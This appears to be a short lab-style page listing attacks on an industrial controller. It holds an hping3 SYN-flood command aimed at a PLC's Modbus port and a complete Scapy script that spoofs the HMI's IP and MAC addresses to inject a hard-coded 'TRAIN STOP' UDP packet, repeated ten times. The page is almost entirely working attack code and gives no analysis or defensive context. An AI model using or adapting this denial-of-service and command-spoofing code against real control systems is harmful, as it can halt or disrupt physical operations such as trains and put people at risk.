Attack (1)

The code  
  
Attack (2)

| sudo hping3 -S --flood -V 192.168.3.39 -p 502 |
| --- |

Attack (3)

| # -\*- coding: utf-8 -\*- import scapy.all as scapy from scapy.layers.l2 import Ether from scapy.sendrecv import sendp from scapy.layers.inet import UDP, IP  # --------------------------------------- Local\_IP = "192.168.3.18" # Spoofed HMI IP address Local\_MAC = "e4:54:e8:af:c0:11" # Your attacker's MAC address  HMI\_IP = "192.168.3.18" HMI\_MAC = "28:e9:8e:24:bb:e0"  PLC\_IP = "192.168.3.39" # This is the target IP PLC\_MAC = "30:be:3b:8a:1a:f9" # ---------------------------------------  attack\_packet\_stop = "5618675505111107e000ffff038911451507c022001c080a08099044368fac30b014022d009547000100ac90000a00732905003780115267450a3e"  def Send\_TRAIN\_STOP():  data\_off = bytes.fromhex(attack\_packet\_stop)  # Spoofing the IP and sending the packet as if it is from HMI  udpf = Ether(src=Local\_MAC, dst=PLC\_MAC) / IP(src=HMI\_IP, dst=PLC\_IP) / UDP(sport=5001, dport=5006) / data\_off  for \_ in range(10):  sendp(udpf, iface="eth0") # Ensure the interface matches your network setup  print("TRAIN STOP command sent from spoofed HMI IP\n")  def main():  while True:  user\_input = input("Enter a number (1:TRAIN STOP (10 packets); Others: Exit):")  if user\_input not in ['1']:  print("Bye")  exit(0)  if user\_input == '1':  Send\_TRAIN\_STOP()  if \_\_name\_\_ == '\_\_main\_\_':  main() |
| --- |